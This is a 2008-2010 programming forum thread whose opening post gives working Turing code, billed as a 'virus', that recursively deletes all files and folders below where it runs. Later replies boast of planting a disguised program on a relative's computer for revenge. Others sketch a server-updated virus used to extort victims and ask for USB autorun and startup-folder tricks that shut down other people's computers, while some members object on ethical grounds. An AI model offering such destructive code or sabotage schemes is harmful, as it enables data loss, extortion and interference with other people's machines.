Computer Science Canada

Turing Virus

Author:  chopperdudes [ Fri Jun 06, 2008 5:00 pm ]
Post subject:  Turing Virus

well, for all of you that says you can't write a virus in turing, here it is.

still a noob to recursion, i wrote one using recursion that deletes every file/folder on levels lower than where the file is placed.
i did not go about trying to make it delete files/folders on levels above the file though. might be pretty hard for me to test it out Razz

code:

Turing:

setscreen ("text")
var WinID : int
WinID := Window.Open ("text")
var streamNumber : array 1 .. 100 of int    % assign 100 empty int var for the streamNumber
var fileName : array 1 .. 100 of string     % assign 100 empty string var for the fileName

% this does not mean that it can only delete 100 files
% since fileName (k) is replaced each time after file is deleted
% rather, the 100's here in these 2 arrays mean that you can delete
% 100 levels of folder in or lower than where this file is placed.

var k := 1      % initiate first streamNumber and fileName index

% please read from below the % line first

proc recursion
    Dir.Change (fileName (k))           % we now set that directory as our Dir.Current
    k += 1                              % we need to change both the streamNumber and the fileName var
    streamNumber (k) := Dir.Open (".")  % now we open the current directory
    assert streamNumber (k) > 0         % check for success
    for i : 1 .. 2
        fileName (k) := Dir.Get (streamNumber (k))      % the first 2 filenames will always be the current directory and the parent directory.
        exit when fileName (k) = ""                     % we cannot delete those yet
        put fileName (k)                               
    end for
    loop
        fileName (k) := Dir.Get (streamNumber (k))      % get the first file name from the new Dir.Current

        if fileName (k) = "" then           % if there are no more files then
            Dir.Close (streamNumber (k))    % close current directory
            put Dir.Current
            Dir.Delete (Dir.Current)        % delete current directory
            if Error.Last = eNoError then   % if success, proceed
                put " deleted"
            else                            % if not, print Error.LastMsg
                put " did not delete"
                put "Error: ", Error.LastMsg
            end if
            exit                            % exit
        end if                              % end if
       
        put fileName (k)
        File.Delete (fileName (k))          % delete the file
        if Error.Last = eNoError then       % if success, proceed
            put " deleted"
        else                                % if not, it means that it is yet another directory
            Dir.Delete (fileName (k))       % try deleting the directory
            if Error.Last = eNoError then   % if success, proceed
                put " deleted"
            else                            % if not, it means there are yet more files/folders in that directory
                recursion                   % repeat above steps
            end if
        end if
    end loop
    Dir.Change ("..")                       % if all files are deleted, change Dir.Current to the parent directory
    k -= 1                                  % change the streamNumber and the fileName var back to the parent folder
end recursion


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


streamNumber (k) := Dir.Open (".")      % open current directory
assert streamNumber (k) > 0             % check for success
for i : 1 .. 2                         
    fileName (k) := Dir.Get (streamNumber (k))  % the first 2 filenames will always be the current directory and the parent directory.
    exit when fileName (k) = ""                 % we cannot delete those yet
    put fileName (k)
end for

loop
    fileName (k) := Dir.Get (streamNumber (k))  % get the first file name
    exit when fileName (k) = ""         % exit if there are no more files
    put fileName (k)
    File.Delete (fileName (k))          % delete the file
    if Error.Last = eNoError then       % if the file is deleted, then proceed to next filename
        put " deleted"
    else                                % if the file is not deleted, it means it is a directory
        Dir.Delete (fileName (k))       % attempt to delete the directory
        if Error.Last = eNoError then   % if the directory is deleted, then proceed to next filename
            put " deleted"
        else                            % if it is not, then it means there are files within that directory

            recursion                   % see Proc recursion

        end if
    end if
end loop


[/code]

Author:  Dan [ Fri Jun 06, 2008 6:04 pm ]
Post subject:  Re: Turing Virus

chopperdudes @ 6th June 2008, 5:00 pm wrote:
well, for all of you that says you can't write a virus in turing, here it is.


I do not know if any one has side that but what you have made is not a virus. A computer virus needs to infect other files so it may spread to other computers. What you have here is just a maulasices program.

Also most opearting systems will not let you delete system files with out any kind of authenetication or adminstator level user access. Addtional you can delete all the files in a simual way with a singal call to a system command and it would be ran in the background.

However for a beginger at turing it is not bad but you might want to try learning about the more beffical sides of programming then hurting peoleop :p

Author:  r691175002 [ Fri Jun 06, 2008 6:18 pm ]
Post subject:  Re: Turing Virus

As dan has said, this really isn't a virus. You can make a program that will delete folders recursively in almost any language (And even in things that aren't languages, you could probably make word do it with a script/macro).

Author:  chopperdudes [ Fri Jun 06, 2008 6:31 pm ]
Post subject:  Re: Turing Virus

hmm yeah true. just doing this for fun cuz i think i read it on here or somewhere that some guy made a similar code but deleted it when he accidentally ran it. so i was just doing this for fun.

Author:  Aziz [ Sat Jun 07, 2008 1:08 am ]
Post subject:  Re: Turing Virus

chopperdudes @ Fri Jun 06, 2008 7:31 pm wrote:
hmm yeah true. just doing this for fun cuz i think i read it on here or somewhere that some guy made a similar code but deleted it when he accidentally ran it. so i was just doing this for fun.


Oh yes, the world has it's ways of dealing with stupid people. Keep that in mind when you have an unsaved 300 line file and it's storming outside. No personal experience myself, but I've laughed at plenty of the poor bastards. I'm a CTRL+S Nazi.

Author:  TripleBla [ Thu Jun 12, 2008 8:13 am ]
Post subject:  RE:Turing Virus

"I'm a CTRL+S Nazi."

I am too,
Ironically, it's the safest choice.

Author:  Aziz [ Thu Jun 12, 2008 8:43 am ]
Post subject:  RE:Turing Virus

Why is that ironic? :/

Author:  SNIPERDUDE [ Thu Jun 12, 2008 1:39 pm ]
Post subject:  RE:Turing Virus

calling it a nazi would be pretty ironic.

Anywho I'm a CTRL + s 'nazi' too.

Author:  Aziz [ Thu Jun 12, 2008 1:55 pm ]
Post subject:  RE:Turing Virus

Wtf is up with these weird uses of ironic?

Author:  Zampano [ Thu Jun 12, 2008 3:02 pm ]
Post subject:  Re: RE:Turing Virus

TripleBla @ Thu Jun 12, 2008 8:13 am wrote:
"I'm a CTRL+S Nazi."

I am too,
Ironically, it's the safest choice.

I suppose that the irony lies in the juxtaposition of the safety of saving often and the danger of being a Nazi (in a society like ours, where Nazis are unaccepted). Of course, that's stretching the bounds of irony.

Author:  Aziz [ Thu Jun 12, 2008 3:46 pm ]
Post subject:  RE:Turing Virus

Indeed it is. Irony is something that happens when it is opposite to the expected. I think it's taken on the other meaning officially, too though =/ http://en.wiktionary.org/wiki/irony

Author:  jeffgreco13 [ Fri Jun 13, 2008 8:31 am ]
Post subject:  Re: Turing Virus

I blame it on Alanis Morissette and her song Ironic...

Quote:
And isn't it ironic...don't you think

Author:  Tony [ Fri Jun 13, 2008 9:12 am ]
Post subject:  RE:Turing Virus

I actually had a conversation about that just the other day. The irony of the song Ironic is that nothing mentioned in the song is actually ironic. Get it? Wink

Author:  Dan [ Fri Jun 13, 2008 9:13 am ]
Post subject:  Re: Turing Virus

jeffgreco13 @ 13th June 2008, 8:31 am wrote:
I blame it on Alanis Morissette and her song Ironic...

Quote:
And isn't it ironic...don't you think


The only thing irony in that song is that it is a song called ironic where none of the examples in it invole irony at all.

Edit: dam your fast posting tony! *shakes fist*

Author:  andrew. [ Fri Jun 13, 2008 9:39 am ]
Post subject:  Re: RE:Turing Virus

SNIPERDUDE @ Thu Jun 12, 2008 1:39 pm wrote:
calling it a nazi would be pretty ironic.

Anywho I'm a CTRL + s 'nazi' too.


Same here lol. I add a period at the end of my comment. CTRL+S. I add one line of code. CTRL+S.

Author:  Sam_sam [ Sun Dec 21, 2008 6:36 pm ]
Post subject:  RE:Turing Virus

What kind of affect does this have on the computer though... because I don't want to try it out on my computer...:ss

Author:  S_Grimm [ Sun Dec 21, 2008 6:42 pm ]
Post subject:  RE:Turing Virus

That would be very stupid. First, it only deletes files, and, if im reading this correctly, it would delete the boot.ini file, making your computer unable to load windows. ie. You have a computer that does nothing. Congrats!

Author:  Sam_sam [ Sun Dec 21, 2008 6:59 pm ]
Post subject:  RE:Turing Virus

Wow..why did he make this..Sad

Author:  syntax_error [ Sun Dec 21, 2008 7:07 pm ]
Post subject:  RE:Turing Virus

for fun?

Destruction is a huge incentive to the limited mind.

Author:  S_Grimm [ Sun Dec 21, 2008 9:21 pm ]
Post subject:  RE:Turing Virus

Limited? What's Limited? I wrote a virus that looked like a jpeg of a scantily clad women, then stuck it on my cousins computer after I fixed it for the 20th time. It had so many viruses.........

Anyway, my mind wasn't limited, it was thinking on how to create a good way to stop him from making me fix the computer. And it worked. It changed the entire computers background to a certain image, which then caused my aunt to be pissed of at him. He is no longer allowed on the internet, unless it is for homework. I haven't had to fix that computer in months.

How is that a limited mind?

Author:  Insectoid [ Sun Dec 21, 2008 9:33 pm ]
Post subject:  RE:Turing Virus

He is referring to people being destructive purely for fun, even if they don't get to see the look on the victim's face. What you did is called 'revenge'. It is far more satisfying and noble. Well, maybe not noble.

Anyway, Sam_Sam, this is your second necro. Don't resurrect an old thread unless you have a very important point/question to make. 'should I run this' on a thread called 'Turing Virus' is not really a good question.

Author:  andrew. [ Sun Dec 21, 2008 9:35 pm ]
Post subject:  Re: RE:Turing Virus

AV @ Sun Dec 21, 2008 9:21 pm wrote:
Limited? What's Limited? I wrote a virus that looked like a jpeg of a scantily clad women, then stuck it on my cousins computer after I fixed it for the 20th time. It had so many viruses.........

Anyway, my mind wasn't limited, it was thinking on how to create a good way to stop him from making me fix the computer. And it worked. It changed the entire computers background to a certain image, which then caused my aunt to be pissed of at him. He is no longer allowed on the internet, unless it is for homework. I haven't had to fix that computer in months.

How is that a limited mind?
I see you're the family computer fixer. I am too and that sounds like something I would do. lol

Author:  Aziz [ Sun Dec 21, 2008 9:36 pm ]
Post subject:  RE:Turing Virus

That's cruel. And it wasn't a virus. A virus is something that replicates itself.

What you made was a background-switcher program, and used it for malicious intent. Not even malware ;/

Author:  Insectoid [ Sun Dec 21, 2008 9:40 pm ]
Post subject:  RE:Turing Virus

It wouldn't be that hard to do make a virus. Just have one generate a script of its self, then compile it, then send it off in a few e-mails. Or a few hundred e-mails, which could also result in the victim being blacklisted by their ISP and banned from e-mailing (this happened to a company once, their entire e-mail system was shut down).

Author:  Aziz [ Sun Dec 21, 2008 9:47 pm ]
Post subject:  RE:Turing Virus

The thing is, I'm pretty sure you can't do that with Turing. And I think a virus attaches itself to host processes, right? Hold on, I'll get the wiki on it

"A virus can only spread from one computer to another when its host is taken to the uninfected computer, for instance by a user sending it over a network or the Internet, or by carrying it on a removable medium..."

Virii can't copy themselves Razz They just leech onto a program.

Author:  Insectoid [ Sun Dec 21, 2008 9:58 pm ]
Post subject:  RE:Turing Virus

Actually, some viruses generate copies of themselves and give them random names to make them harder to get rid of (Virtumonde comes to mind). Writing code to copy its self wouldn't be all that hard, having the knowledge to run a compiler from a program.

Author:  Aziz [ Sun Dec 21, 2008 10:14 pm ]
Post subject:  RE:Turing Virus

Yeah, but that's more of a trojan horse or worm.

Author:  chopperdudes [ Mon Dec 22, 2008 1:12 am ]
Post subject:  RE:Turing Virus

lol sam_sam no this won't do anything rly, if you download it to your recieved file folder or temporary folder, all it will do is delete all the file on or below the level this file is placed in.

so if this file is contained in a folder, only all the files and folders in this folder and all the subfolders will be deleted.

well why did i do this? not to harm ppl, that i can tell you, i was looking into the file and dir directory and also just starting to wonder what recursion rly is.

Author:  Sam_sam [ Mon Dec 22, 2008 2:09 pm ]
Post subject:  Re: Turing Virus

lol. ok

Author:  twinblade27 [ Tue Nov 10, 2009 1:05 pm ]
Post subject:  RE:Turing Virus

i tried it but i made sure to boot everything on an external terrabite system. it really good to delete the stuff that you dont or for any one else what can be fatal in the future

Author:  Euphoracle [ Wed Nov 11, 2009 2:27 am ]
Post subject:  RE:Turing Virus

or you can, you know, use del from the command prompt.

Author:  Turing_Gamer [ Wed Nov 11, 2009 4:38 pm ]
Post subject:  Re: Turing Virus

wow... Why the Twisted Evil would you make a program like that.
It just dosn't make sense (btw, previous explanations were confusing).

Author:  Srlancelot39 [ Tue Jan 05, 2010 3:50 pm ]
Post subject:  RE:Turing Virus

in response to the program deleting itself...


lol...300 lines is the least of my worries nowadays...my prize possesion "Grail Quest" is just over 3000....and im glad that i too am a "ctrl+s nazi"....actually....my routine every 10 seconds is F2,ctrl+s,F1......this way i indent it, save it, and run it to check for errors =P.....sometimes i'll press f2 or ctrl+s without even changing the code lol...its a subconcious action....[/quote]

Author:  BigBear [ Tue Jan 05, 2010 6:45 pm ]
Post subject:  RE:Turing Virus

Surprised you can even indent with that many lines

Author:  Insectoid [ Tue Jan 05, 2010 10:37 pm ]
Post subject:  RE:Turing Virus

Ah, this thread just refuses to die. Perhaps it's magical.

Author:  mirhagk [ Wed Jan 06, 2010 8:00 am ]
Post subject:  RE:Turing Virus

btw SrLanceALot, you shouldn't have 3000 lines in one program, seperate it into seperate files and include them. (you could import them instead, and it's probably better, but it's much simpler to just include I think).

As for this Turing "virus", well it's nothing that I'm sure anyone who's been with Turing for a year or so hasn't done am I right?

Right now I'm learning assembly, that's where the real viruses come into play, btw doesn't anyone know what has to be added to a binary file in order to make it a .exe? I'm going to create a virus that does nothing at all, except start creating other viruses I manufacture. I'm going to make it contact a server for updates, which it will install on the host's system. It will not auto-transfer, and it will have a built in sytem where it deletes itself and e every virus it added if you enter the correct password.

Basically if someone pisses you off, you can drop this onto their system and voila, they're at your mercy. (you could probably even extort them for the password)

Author:  DemonWasp [ Wed Jan 06, 2010 2:42 pm ]
Post subject:  RE:Turing Virus

I don't condone your black-hat nonsense, as that's completely counter to the ethics of professional programming. Plus, if you start actually becoming a threat to computer users, you can be convicted of all sorts of fun crimes.

Also, spending five seconds to Google what you're after works wonders. It's the first result!

Author:  Srlancelot39 [ Wed Jan 06, 2010 7:58 pm ]
Post subject:  Re: RE:Turing Virus

BigBear @ Tue Jan 05, 2010 5:45 pm wrote:
Surprised you can even indent with that many lines


lol...sometimes if there are too many programs running it will refuse to indent lol

Author:  Srlancelot39 [ Wed Jan 06, 2010 8:11 pm ]
Post subject:  Re: RE:Turing Virus

mirhagk @ Wed Jan 06, 2010 7:00 am wrote:
btw SrLanceALot, you shouldn't have 3000 lines in one program, seperate it into seperate files and include them. (you could import them instead, and it's probably better, but it's much simpler to just include I think).

As for this Turing "virus", well it's nothing that I'm sure anyone who's been with Turing for a year or so hasn't done am I right?

Right now I'm learning assembly, that's where the real viruses come into play, btw doesn't anyone know what has to be added to a binary file in order to make it a .exe? I'm going to create a virus that does nothing at all, except start creating other viruses I manufacture. I'm going to make it contact a server for updates, which it will install on the host's system. It will not auto-transfer, and it will have a built in sytem where it deletes itself and e every virus it added if you enter the correct password.

Basically if someone pisses you off, you can drop this onto their system and voila, they're at your mercy. (you could probably even extort them for the password)


i know i shouldn't have 3000 lines in one program....but I don't tend to use advanced methods like this...i have like 4 years experience with Turing, but i've always liked sticking to what i know generally, and making something massive out of it. that was actually my chosen method for Grail Quest.....it was a grade 12 project, and we had to decide whether we were going to be making something basic while trying new things or make something more complex out of what we knew....i chose the second because i knew i would be most successful that way.
anyhow, i wont need to change the turing file anymore because it will be recoded in C# with much help from cavetroll seeing as he knows C# already and i do not...yet Neutral.

P.S.....no i've never made a virus...at all....ever....in my 4 yea- you get the point. Wink

Author:  mirhagk [ Wed Jan 06, 2010 10:55 pm ]
Post subject:  RE:Turing Virus

@DemonWasp Lol I would not spend so much time on creating a virus and I certainly would not confess to it before I made it. I won't spend enough time in Assembly in order to get that skilled. I'm only learning in to create a compiler.

Author:  DemonWasp [ Thu Jan 07, 2010 12:03 am ]
Post subject:  RE:Turing Virus

Your last and second-to-last sentences are very difficult to reconcile (how does one create a compiler without being skilled in their assembly language / platform of choice?). Besides, viruses can be written in C or pretty well any other language (though compiled ones have an advantage); the real trick is finding a vulnerability to propagate through.

Author:  Kharybdis [ Thu Jan 07, 2010 8:06 am ]
Post subject:  RE:Turing Virus

it takes like 3 lines to make a virus...

Author:  mirhagk [ Thu Jan 07, 2010 12:22 pm ]
Post subject:  RE:Turing Virus

not in assembly. I bet there's a c++ library though that allows you to do

code:

MakeVirus("Trojan");


and @demonwasp. Making a virus might be easy to do, but not the one I was describing. I'm going to learn it pretty much through and through, but I only need to know how to do something once in order to make a compiler. I will not need to learn how to exploit the system and it's .dll files and such, like any good virus does.

Author:  Insectoid [ Thu Jan 07, 2010 12:59 pm ]
Post subject:  RE:Turing Virus

You certainly have a very high opinion of yourself, my good sir.

Author:  Euphoracle [ Thu Jan 07, 2010 3:54 pm ]
Post subject:  RE:Turing Virus

ugh stop this sillyness none of you apparently know what a virus is, or the difference between them and malicious authorized user-executed (shitty) code. what's the obsession with being malicious? don't you have better things to do with your time than make someone else miserable? seriously

Author:  mirhagk [ Fri Jan 08, 2010 10:20 am ]
Post subject:  RE:Turing Virus

lolz. Anyways, I was searching through my folder of "evil" software I made a while ago. It made me laugh at what I thought was evil a year ago. There's one that autoruns on a usb and prompts you for a password, if you do not answer within 20 seconds, or get it wrong 3 times, it shuts down the computer. It was actually useful cuz noone could steal my usb. (it was also useful for running up to people's computers in the library and plugging it into the usb slot to watch them freak out trying to figure out what to do). The autorun file is unforunately gone but I might recreate it.

Author:  Dan [ Fri Jan 08, 2010 1:05 pm ]
Post subject:  Re: RE:Turing Virus

mirhagk @ 8th January 2010, 10:20 am wrote:
It was actually useful cuz noone could steal my usb.


Unless they held the shift key down.....

Author:  Kharybdis [ Fri Jan 08, 2010 1:55 pm ]
Post subject:  Re: RE:Turing Virus

Dan @ Fri Jan 08, 2010 1:05 pm wrote:
mirhagk @ 8th January 2010, 10:20 am wrote:
It was actually useful cuz noone could steal my usb.


Unless they held the shift key down.....


why would holding down the shift key do anything?

Author:  Euphoracle [ Fri Jan 08, 2010 5:13 pm ]
Post subject:  RE:Turing Virus

because shift prevents windows autorun. also anyone running an operating system > 2004 will be prompted as to whether they want to run an executable autorun. anyone who is not running an operating system > 2004 and is using windows needs to get up to speed

Author:  Carey [ Thu Jan 14, 2010 10:57 pm ]
Post subject:  RE:Turing Virus

Same. its such an easy combination to type, why wouldn't you every 5 seconds? I had a teacher that would randomly turn off all the computers in the middle of class with the master switch after he did a lecture about saving often. You be working then, bam, computer goes off and he'd stand there smiling and say "i hope you saved", then click the switch and turn them back on. Good times Smile

Edit: Whoops, didn't see there was 4 pages lol, this is in response to the ctrl-s nazi comments :$

Author:  mirhagk [ Mon Jan 18, 2010 10:24 am ]
Post subject:  RE:Turing Virus

lol I actualled got so used to pressing F2, Ctrl+S and F1 that when I switched to C++ I kept doing it which opened help and some wierd thing about symbols and stuff.

Author:  SNIPERDUDE [ Mon Jan 18, 2010 11:05 am ]
Post subject:  Re: RE:Turing Virus

mirhagk @ January 18th 2010 wrote:
lol I actualled got so used to pressing F2, Ctrl+S and F1 that when I switched to C++ I kept doing it which opened help and some wierd thing about symbols and stuff.

Same here!

Author:  ProgrammingFun [ Thu Jan 28, 2010 4:39 pm ]
Post subject:  Re: RE:Turing Virus

Euphoracle @ Thu Jan 07, 2010 3:54 pm wrote:
ugh stop this sillyness none of you apparently know what a virus is, or the difference between them and malicious authorized user-executed (shitty) code. what's the obsession with being malicious? don't you have better things to do with your time than make someone else miserable? seriously


Making someone miserable is a human's second nature. Twisted Evil
BTW, Im also a CTRL+S Nazi.

Can someone tell me how to make the autorun USB program that was mentioned earlier?

And no, this thread cannot die because of the magic word "virus". Razz

Author:  andrew. [ Thu Jan 28, 2010 4:58 pm ]
Post subject:  RE:Turing Virus

Autorun

Author:  ProgrammingFun [ Thu Jan 28, 2010 6:00 pm ]
Post subject:  Re: RE:Turing Virus

andrew. @ Thu Jan 28, 2010 4:58 pm wrote:


No really, how can I make a program that will ask for password or will shutdown?
I no autorun can be created with autorun.ini

Author:  Euphoracle [ Thu Jan 28, 2010 6:47 pm ]
Post subject:  RE:Turing Virus

what shuts down? the program or the computer. if its the latter, dont bother thats rude. if its the program... well im pretty sure you should be able to answer that. launch your program, programs prompts for password, and if its wrong....

Author:  faethor [ Thu Jan 28, 2010 7:01 pm ]
Post subject:  Re: RE:Turing Virus

andrew. @ Thu Jan 28, 2010 4:58 pm wrote:

Evil... I like it. lol

Author:  ProgrammingFun [ Thu Jan 28, 2010 7:50 pm ]
Post subject:  Re: RE:Turing Virus

Euphoracle @ Thu Jan 28, 2010 6:47 pm wrote:
what shuts down? the program or the computer. if its the latter, dont bother thats rude. if its the program... well im pretty sure you should be able to answer that. launch your program, programs prompts for password, and if its wrong....


The computer.
I like being cruel and evil. Don't worry i wont try it on others, i just wanna know.

Author:  SNIPERDUDE [ Thu Jan 28, 2010 11:15 pm ]
Post subject:  RE:Turing Virus

I would of thought this thread would have been dead a while back - something like 2 years ago...

Author:  Dan [ Fri Jan 29, 2010 1:04 am ]
Post subject:  Re: RE:Turing Virus

ProgrammingFun @ 28th January 2010, 6:00 pm wrote:
andrew. @ Thu Jan 28, 2010 4:58 pm wrote:


No really, how can I make a program that will ask for password or will shutdown?
I no autorun can be created with autorun.ini


I don't follow the logic in this.

You put in the media (cd, dvd, usb key, what ever), assuming they don't hold down the shift key and are running windows with autorun turned on it asks for a password. If they get it wrong the computer shuts down, is rebooted and autorun is not ran so they are free to access the data on the media.

Or they put in the media, don't enter a password and just leave the program waiting for input, well they access the data.

Or they just kill the truing process in the taskmanger.

Or they just access the data from a non windows based computer.


You would be much better off making a program that encrypts and decrypts the data you are trying to protect given a key.

Author:  Euphoracle [ Fri Jan 29, 2010 6:22 am ]
Post subject:  RE:Turing Virus

^ in addition to windows vista and up ask you to confirm that a program is launching, and on an unrelated note this won't work on any non-windows computer.

in short: you can't do it and expect it to work in the slightest. :\

Author:  SNIPERDUDE [ Fri Jan 29, 2010 12:18 pm ]
Post subject:  RE:Turing Virus

Put a timer on it as well, put it in the startup folder, and make sure it's someone who doesn't have a large understanding of how to get rid of it (a sister?)

Author:  ProgrammingFun [ Wed Feb 10, 2010 6:05 pm ]
Post subject:  Re: RE:Turing Virus

[quote="Dan @ Fri Jan 29, 2010 1:04 am"]
ProgrammingFun @ 28th January 2010, 6:00 pm wrote:
andrew. @ Thu Jan 28, 2010 4:58 pm wrote:


I don't follow the logic in this.


lol im not gonna use it to protect my data... Rolling Eyes
just to shutdown the person't computer...

and who said anything about it being created with Turing (it won't work on every computer that way) Twisted Evil


: